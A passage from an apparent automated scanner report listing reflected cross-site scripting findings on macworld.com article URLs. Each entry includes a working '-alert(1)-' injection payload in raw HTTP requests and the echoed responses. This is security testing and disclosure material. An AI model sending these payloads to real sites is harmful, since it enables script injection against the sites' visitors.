Cookie: JSESSIONID=0C568914C2A5F85ED1D28C92FA187E02;

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Last-Modified: Fri, 17 Dec 2010 02:22:53 GMT
Cache-Control: max-age=60
Content-Type: text/html;charset=UTF-8
Date: Fri, 17 Dec 2010 02:22:53 GMT
Connection: close
Cache-Control: no-store, no-cache
Cache-Control: post-check=0, pre-check=0, false
Pragma: cache differently
Vary: Accept-Encoding


       <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><!-- Tile/JSP: templates._005fshared.layout._default.html_head.js
...[SNIP]...
dCookie('macUserName');
Logon.isValid = 'null' != Logon.userEmail && '' != Logon.userEmail;

/* Namespace RememberURI */
var RememberURI = new Object();
RememberURI.referer = '/article/156448/2010af223'-alert(1)-'4ba0dcb12f/12/navigon_mobilenavigator.html';
if (!RememberURI.referer.match('^/logo') && !RememberURI.referer.match('^/register')) {
   RememberURI.query = '';
   RememberURI.referer += RememberURI.query;
   docum
...[SNIP]...

3.24. http://www.macworld.com/article/156448/2010/12/navigon_mobilenavigator.html [REST URL parameter 4]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.macworld.com
Path:   /article/156448/2010/12/navigon_mobilenavigator.html

Issue detail

The value of REST URL parameter 4 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 55c26'-alert(1)-'944af8d0698 was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /article/156448/2010/1255c26'-alert(1)-'944af8d0698/navigon_mobilenavigator.html HTTP/1.1
Host: www.macworld.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: JSESSIONID=0C568914C2A5F85ED1D28C92FA187E02;

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Last-Modified: Fri, 17 Dec 2010 02:23:02 GMT
Cache-Control: max-age=60
Content-Type: text/html;charset=UTF-8
Date: Fri, 17 Dec 2010 02:23:01 GMT
Connection: close
Cache-Control: no-store, no-cache
Cache-Control: post-check=0, pre-check=0, false
Pragma: cache differently
Vary: Accept-Encoding


       <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><!-- Tile/JSP: templates._005fshared.layout._default.html_head.js
...[SNIP]...
okie('macUserName');
Logon.isValid = 'null' != Logon.userEmail && '' != Logon.userEmail;

/* Namespace RememberURI */
var RememberURI = new Object();
RememberURI.referer = '/article/156448/2010/1255c26'-alert(1)-'944af8d0698/navigon_mobilenavigator.html';
if (!RememberURI.referer.match('^/logo') && !RememberURI.referer.match('^/register')) {
   RememberURI.query = '';
   RememberURI.referer += RememberURI.query;
   document
...[SNIP]...

3.25. http://www.macworld.com/article/156448/2010/12/navigon_mobilenavigator.html [REST URL parameter 5]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.macworld.com
Path:   /article/156448/2010/12/navigon_mobilenavigator.html

Issue detail

The value of REST URL parameter 5 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload d7ace'-alert(1)-'618a3a79576 was submitted in the REST URL parameter 5. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /article/156448/2010/12/navigon_mobilenavigator.htmld7ace'-alert(1)-'618a3a79576 HTTP/1.1
Host: www.macworld.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: JSESSIONID=0C568914C2A5F85ED1D28C92FA187E02;

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Content-Type: text/html;charset=UTF-8
Date: Fri, 17 Dec 2010 02:23:12 GMT
Connection: close
Cache-Control: no-store, no-cache
Cache-Control: post-check=0, pre-check=0, false
Pragma: cache differently
Vary: Accept-Encoding


       <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><!-- Tile/JSP: templates._005fshared.layout._default.html_head.js
...[SNIP]...
sValid = 'null' != Logon.userEmail && '' != Logon.userEmail;

/* Namespace RememberURI */
var RememberURI = new Object();
RememberURI.referer = '/article/156448/2010/12/navigon_mobilenavigator.htmld7ace'-alert(1)-'618a3a79576';
if (!RememberURI.referer.match('^/logo') && !RememberURI.referer.match('^/register')) {
   RememberURI.query = '';
   RememberURI.referer += RememberURI.query;
   document.cookie = "mw.last_uri=" + es
...[SNIP]...

3.26. http://www.macworld.com/article/156454/2010/12/airfoil4.html [REST URL parameter 3]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.macworld.com
Path:   /article/156454/2010/12/airfoil4.html

Issue detail

The value of REST URL parameter 3 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 5b5f3'-alert(1)-'64d5028f644 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /article/156454/20105b5f3'-alert(1)-'64d5028f644/12/airfoil4.html HTTP/1.1
Host: www.macworld.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: JSESSIONID=0C568914C2A5F85ED1D28C92FA187E02;

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Last-Modified: Fri, 17 Dec 2010 02:23:01 GMT
Cache-Control: max-age=60
Content-Type: text/html;charset=UTF-8
Date: Fri, 17 Dec 2010 02:23:01 GMT
Connection: close
Cache-Control: no-store, no-cache
Cache-Control: post-check=0, pre-check=0, false
Pragma: cache differently
Vary: Accept-Encoding


       <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><!-- Tile/JSP: templates._005fshared.layout._default.html_head.js
...[SNIP]...
dCookie('macUserName');
Logon.isValid = 'null' != Logon.userEmail && '' != Logon.userEmail;

/* Namespace RememberURI */
var RememberURI = new Object();
RememberURI.referer = '/article/156454/20105b5f3'-alert(1)-'64d5028f644/12/airfoil4.html';
if (!RememberURI.referer.match('^/logo') && !RememberURI.referer.match('^/register')) {
   RememberURI.query = '';
   RememberURI.referer += RememberURI.query;
   document.cookie = "m
...[SNIP]...

3.27. http://www.macworld.com/article/156454/2010/12/airfoil4.html [REST URL parameter 4]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.macworld.com
Path:   /article/156454/2010/12/airfoil4.html

Issue detail

The value of REST URL parameter 4 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload da50b'-alert(1)-'dea13d495ce was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /article/156454/2010/12da50b'-alert(1)-'dea13d495ce/airfoil4.html HTTP/1.1
Host: www.macworld.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: JSESSIONID=0C568914C2A5F85ED1D28C92FA187E02;

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Last-Modified: Fri, 17 Dec 2010 02:23:12 GMT
Cache-Control: max-age=60
Content-Type: text/html;charset=UTF-8
Date: Fri, 17 Dec 2010 02:23:12 GMT
Connection: close
Cache-Control: no-store, no-cache
Cache-Control: post-check=0, pre-check=0, false
Pragma: cache differently
Vary: Accept-Encoding


       <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><!-- Tile/JSP: templates._005fshared.layout._default.html_head.js
...[SNIP]...
okie('macUserName');
Logon.isValid = 'null' != Logon.userEmail && '' != Logon.userEmail;

/* Namespace RememberURI */
var RememberURI = new Object();
RememberURI.referer = '/article/156454/2010/12da50b'-alert(1)-'dea13d495ce/airfoil4.html';
if (!RememberURI.referer.match('^/logo') && !RememberURI.referer.match('^/register')) {
   RememberURI.query = '';
   RememberURI.referer += RememberURI.query;
   document.cookie = "mw.l
...[SNIP]...

3.28. http://www.macworld.com/article/156454/2010/12/airfoil4.html [REST URL parameter 5]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.macworld.com
Path:   /article/156454/2010/12/airfoil4.html

Issue detail

The value of REST URL parameter 5 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload eb538'-alert(1)-'52aa27a485d was submitted in the REST URL parameter 5. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /article/156454/2010/12/airfoil4.htmleb538'-alert(1)-'52aa27a485d HTTP/1.1
Host: www.macworld.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: JSESSIONID=0C568914C2A5F85ED1D28C92FA187E02;

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Content-Type: text/html;charset=UTF-8
Date: Fri, 17 Dec 2010 02:23:22 GMT
Connection: close
Cache-Control: no-store, no-cache
Cache-Control: post-check=0, pre-check=0, false
Pragma: cache differently
Vary: Accept-Encoding


       <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><!-- Tile/JSP: templates._005fshared.layout._default.html_head.js
...[SNIP]...
ame');
Logon.isValid = 'null' != Logon.userEmail && '' != Logon.userEmail;

/* Namespace RememberURI */
var RememberURI = new Object();
RememberURI.referer = '/article/156454/2010/12/airfoil4.htmleb538'-alert(1)-'52aa27a485d';
if (!RememberURI.referer.match('^/logo') && !RememberURI.referer.match('^/register')) {
   RememberURI.query = '';
   RememberURI.referer += RememberURI.query;
   document.cookie = "mw.last_uri=" + es
...[SNIP]...

3.29. http://www.macworld.com/article/156456/2010/12/flipboard_adds_googlereader_array_of_new_features.html [REST URL parameter 3]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.macworld.com
Path:   /article/156456/2010/12/flipboard_adds_googlereader_array_of_new_features.html

Issue detail

The value of REST URL parameter 3 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 450f8'-alert(1)-'19a2ca62a56 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /article/156456/2010450f8'-alert(1)-'19a2ca62a56/12/flipboard_adds_googlereader_array_of_new_features.html HTTP/1.1
Host: www.macworld.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: JSESSIONID=0C568914C2A5F85ED1D28C92FA187E02;

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Last-Modified: Fri, 17 Dec 2010 02:22:51 GMT
Cache-Control: max-age=60
Content-Type: text/html;charset=UTF-8
Date: Fri, 17 Dec 2010 02:22:51 GMT
Connection: close
Cache-Control: no-store, no-cache
Cache-Control: post-check=0, pre-check=0, false
Pragma: cache differently
Vary: Accept-Encoding


       <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><!-- Tile/JSP: templates._005fshared.layout._default.html_head.js
...[SNIP]...
dCookie('macUserName');
Logon.isValid = 'null' != Logon.userEmail && '' != Logon.userEmail;

/* Namespace RememberURI */
var RememberURI = new Object();
RememberURI.referer = '/article/156456/2010450f8'-alert(1)-'19a2ca62a56/12/flipboard_adds_googlereader_array_of_new_features.html';
if (!RememberURI.referer.match('^/logo') && !RememberURI.referer.match('^/register')) {
   RememberURI.query = '';
   RememberURI.referer +=
...[SNIP]...

3.30. http://www.macworld.com/article/156456/2010/12/flipboard_adds_googlereader_array_of_new_features.html [REST URL parameter 4]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.macworld.com
Path:   /article/156456/2010/12/flipboard_adds_googlereader_array_of_new_features.html

Issue detail

The value of REST URL parameter 4 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 70cf8'-alert(1)-'45dd152401a was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /article/156456/2010/1270cf8'-alert(1)-'45dd152401a/flipboard_adds_googlereader_array_of_new_features.html HTTP/1.1
Host: www.macworld.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: JSESSIONID=0C568914C2A5F85ED1D28C92FA187E02;

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Last-Modified: Fri, 17 Dec 2010 02:23:02 GMT
Cache-Control: max-age=60
Content-Type: text/html;charset=UTF-8
Date: Fri, 17 Dec 2010 02:23:01 GMT
Connection: close
Cache-Control: no-store, no-cache
Cache-Control: post-check=0, pre-check=0, false
Pragma: cache differently
Vary: Accept-Encoding


       <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><!-- Tile/JSP: templates._005fshared.layout._default.html_head.js
...[SNIP]...
okie('macUserName');
Logon.isValid = 'null' != Logon.userEmail && '' != Logon.userEmail;

/* Namespace RememberURI */
var RememberURI = new Object();
RememberURI.referer = '/article/156456/2010/1270cf8'-alert(1)-'45dd152401a/flipboard_adds_googlereader_array_of_new_features.html';
if (!RememberURI.referer.match('^/logo') && !RememberURI.referer.match('^/register')) {
   RememberURI.query = '';
   RememberURI.referer += Rem
...[SNIP]...

3.31. http://www.macworld.com/article/156456/2010/12/flipboard_adds_googlereader_array_of_new_features.html [REST URL parameter 5]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.macworld.com
Path:   /article/156456/2010/12/flipboard_adds_googlereader_array_of_new_features.html

Issue detail

The value of REST URL parameter 5 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload f295d'-alert(1)-'01e31b6de1d was submitted in the REST URL parameter 5. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /article/156456/2010/12/flipboard_adds_googlereader_array_of_new_features.htmlf295d'-alert(1)-'01e31b6de1d HTTP/1.1
Host: www.macworld.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: JSESSIONID=0C568914C2A5F85ED1D28C92FA187E02;

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Content-Type: text/html;charset=UTF-8
Date: Fri, 17 Dec 2010 02:23:12 GMT
Connection: close
Cache-Control: no-store, no-cache
Cache-Control: post-check=0, pre-check=0, false
Pragma: cache differently
Vary: Accept-Encoding


       <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><!-- Tile/JSP: templates._005fshared.layout._default.html_head.js
...[SNIP]...
serEmail && '' != Logon.userEmail;

/* Namespace RememberURI */
var RememberURI = new Object();
RememberURI.referer = '/article/156456/2010/12/flipboard_adds_googlereader_array_of_new_features.htmlf295d'-alert(1)-'01e31b6de1d';
if (!RememberURI.referer.match('^/logo') && !RememberURI.referer.match('^/register')) {
   RememberURI.query = '';
   RememberURI.referer += RememberURI.query;
   document.cookie = "mw.last_uri=" + es
...[SNIP]...

3.32. http://www.macworld.com/article/156457/2010/12/cptn_holdings.html [REST URL parameter 3]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.macworld.com
Path:   /article/156457/2010/12/cptn_holdings.html

Issue detail

The value of REST URL parameter 3 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 6cbdd'-alert(1)-'fd2f5793e8e was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /article/156457/20106cbdd'-alert(1)-'fd2f5793e8e/12/cptn_holdings.html HTTP/1.1
Host: www.macworld.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: JSESSIONID=0C568914C2A5F85ED1D28C92FA187E02;

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Last-Modified: Fri, 17 Dec 2010 02:22:52 GMT
Cache-Control: max-age=60
Content-Type: text/html;charset=UTF-8
Date: Fri, 17 Dec 2010 02:22:52 GMT
Connection: close
Cache-Control: no-store, no-cache
Cache-Control: post-check=0, pre-check=0, false
Pragma: cache differently
Vary: Accept-Encoding


       <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><!-- Tile/JSP: templates._005fshared.layout._default.html_head.js
...[SNIP]...
dCookie('macUserName');
Logon.isValid = 'null' != Logon.userEmail && '' != Logon.userEmail;

/* Namespace RememberURI */
var RememberURI = new Object();
RememberURI.referer = '/article/156457/20106cbdd'-alert(1)-'fd2f5793e8e/12/cptn_holdings.html';
if (!RememberURI.referer.match('^/logo') && !RememberURI.referer.match('^/register')) {
   RememberURI.query = '';
   RememberURI.referer += RememberURI.query;
   document.cookie
...[SNIP]...

3.33. http://www.macworld.com/article/156457/2010/12/cptn_holdings.html [REST URL parameter 4]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.macworld.com
Path:   /article/156457/2010/12/cptn_holdings.html

Issue detail

The value of REST URL parameter 4 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 3bbcb'-alert(1)-'645a75bc30e was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /article/156457/2010/123bbcb'-alert(1)-'645a75bc30e/cptn_holdings.html HTTP/1.1
Host: www.macworld.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: JSESSIONID=0C568914C2A5F85ED1D28C92FA187E02;

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Last-Modified: Fri, 17 Dec 2010 02:23:00 GMT
Cache-Control: max-age=60
Content-Type: text/html;charset=UTF-8
Date: Fri, 17 Dec 2010 02:23:00 GMT
Connection: close
Cache-Control: no-store, no-cache
Cache-Control: post-check=0, pre-check=0, false
Pragma: cache differently
Vary: Accept-Encoding


       <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><!-- Tile/JSP: templates._005fshared.layout._default.html_head.js
...[SNIP]...
okie('macUserName');
Logon.isValid = 'null' != Logon.userEmail && '' != Logon.userEmail;

/* Namespace RememberURI */
var RememberURI = new Object();
RememberURI.referer = '/article/156457/2010/123bbcb'-alert(1)-'645a75bc30e/cptn_holdings.html';
if (!RememberURI.referer.match('^/logo') && !RememberURI.referer.match('^/register')) {
   RememberURI.query = '';
   RememberURI.referer += RememberURI.query;
   document.cookie =
...[SNIP]...

3.34. http://www.macworld.com/article/156457/2010/12/cptn_holdings.html [REST URL parameter 5]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.macworld.com
Path:   /article/156457/2010/12/cptn_holdings.html

Issue detail

The value of REST URL parameter 5 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 7cd04'-alert(1)-'ea6ce8d6169 was submitted in the REST URL parameter 5. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /article/156457/2010/12/cptn_holdings.html7cd04'-alert(1)-'ea6ce8d6169 HTTP/1.1
Host: www.macworld.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: JSESSIONID=0C568914C2A5F85ED1D28C92FA187E02;

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Content-Type: text/html;charset=UTF-8
Date: Fri, 17 Dec 2010 02:23:11 GMT
Connection: close
Cache-Control: no-store, no-cache
Cache-Control: post-check=0, pre-check=0, false
Pragma: cache differently
Vary: Accept-Encoding


       <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><!-- Tile/JSP: templates._005fshared.layout._default.html_head.js
...[SNIP]...
;
Logon.isValid = 'null' != Logon.userEmail && '' != Logon.userEmail;

/* Namespace RememberURI */
var RememberURI = new Object();
RememberURI.referer = '/article/156457/2010/12/cptn_holdings.html7cd04'-alert(1)-'ea6ce8d6169';
if (!RememberURI.referer.match('^/logo') && !RememberURI.referer.match('^/register')) {
   RememberURI.query = '';
   RememberURI.referer += RememberURI.query;
   document.cookie = "mw.last_uri=" + es
...[SNIP]...

3.35. http://www.macworld.com/article/156459/2010/12/facebook_photo_tagging.html [REST URL parameter 3]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.macworld.com
Path:   /article/156459/2010/12/facebook_photo_tagging.html

Issue detail

The value of REST URL parameter 3 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload f3b9d'-alert(1)-'b22fb28111 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /article/156459/2010f3b9d'-alert(1)-'b22fb28111/12/facebook_photo_tagging.html HTTP/1.1
Host: www.macworld.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: JSESSIONID=0C568914C2A5F85ED1D28C92FA187E02;

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Last-Modified: Fri, 17 Dec 2010 02:23:00 GMT
Cache-Control: max-age=60
Content-Type: text/html;charset=UTF-8
Date: Fri, 17 Dec 2010 02:22:59 GMT
Connection: close
Cache-Control: no-store, no-cache
Cache-Control: post-check=0, pre-check=0, false
Pragma: cache differently
Vary: Accept-Encoding


       <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><!-- Tile/JSP: templates._005fshared.layout._default.html_head.js
...[SNIP]...
dCookie('macUserName');
Logon.isValid = 'null' != Logon.userEmail && '' != Logon.userEmail;

/* Namespace RememberURI */
var RememberURI = new Object();
RememberURI.referer = '/article/156459/2010f3b9d'-alert(1)-'b22fb28111/12/facebook_photo_tagging.html';
if (!RememberURI.referer.match('^/logo') && !RememberURI.referer.match('^/register')) {
   RememberURI.query = '';
   RememberURI.referer += RememberURI.query;
   docume
...[SNIP]...

3.36. http://www.macworld.com/article/156459/2010/12/facebook_photo_tagging.html [REST URL parameter 4]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.macworld.com
Path:   /article/156459/2010/12/facebook_photo_tagging.html

Issue detail

The value of REST URL parameter 4 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 9097b'-alert(1)-'7c2c92419dc was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /article/156459/2010/129097b'-alert(1)-'7c2c92419dc/facebook_photo_tagging.html HTTP/1.1
Host: www.macworld.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: JSESSIONID=0C568914C2A5F85ED1D28C92FA187E02;

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Last-Modified: Fri, 17 Dec 2010 02:23:11 GMT
Cache-Control: max-age=60
Content-Type: text/html;charset=UTF-8
Date: Fri, 17 Dec 2010 02:23:11 GMT
Connection: close
Cache-Control: no-store, no-cache
Cache-Control: post-check=0, pre-check=0, false
Pragma: cache differently
Vary: Accept-Encoding


       <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><!-- Tile/JSP: templates._005fshared.layout._default.html_head.js
...[SNIP]...
okie('macUserName');
Logon.isValid = 'null' != Logon.userEmail && '' != Logon.userEmail;

/* Namespace RememberURI */
var RememberURI = new Object();
RememberURI.referer = '/article/156459/2010/129097b'-alert(1)-'7c2c92419dc/facebook_photo_tagging.html';
if (!RememberURI.referer.match('^/logo') && !RememberURI.referer.match('^/register')) {
   RememberURI.query = '';
   RememberURI.referer += RememberURI.query;
   document.
...[SNIP]...

3.37. http://www.macworld.com/article/156459/2010/12/facebook_photo_tagging.html [REST URL parameter 5]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.macworld.com
Path:   /article/156459/2010/12/facebook_photo_tagging.html

Issue detail

The value of REST URL parameter 5 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 6e3a8'-alert(1)-'5d4e7e648f5 was submitted in the REST URL parameter 5. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /article/156459/2010/12/facebook_photo_tagging.html6e3a8'-alert(1)-'5d4e7e648f5 HTTP/1.1
Host: www.macworld.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: JSESSIONID=0C568914C2A5F85ED1D28C92FA187E02;

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Content-Type: text/html;charset=UTF-8
Date: Fri, 17 Dec 2010 02:23:21 GMT
Connection: close
Cache-Control: no-store, no-cache
Cache-Control: post-check=0, pre-check=0, false
Pragma: cache differently
Vary: Accept-Encoding


       <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><!-- Tile/JSP: templates._005fshared.layout._default.html_head.js
...[SNIP]...
isValid = 'null' != Logon.userEmail && '' != Logon.userEmail;

/* Namespace RememberURI */
var RememberURI = new Object();
RememberURI.referer = '/article/156459/2010/12/facebook_photo_tagging.html6e3a8'-alert(1)-'5d4e7e648f5';
if (!RememberURI.referer.match('^/logo') && !RememberURI.referer.match('^/register')) {
   RememberURI.query = '';
   RememberURI.referer += RememberURI.query;
   document.cookie = "mw.last_uri=" + es
...[SNIP]...

3.38. http://www.macworld.com/article/156460/2010/12/openfeint_groupon.html [REST URL parameter 3]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.macworld.com
Path:   /article/156460/2010/12/openfeint_groupon.html

Issue detail

The value of REST URL parameter 3 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload d6b6a'-alert(1)-'bc77c7cfb63 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /article/156460/2010d6b6a'-alert(1)-'bc77c7cfb63/12/openfeint_groupon.html HTTP/1.1
Host: www.macworld.com
Accept: */*
Accept-Language: en
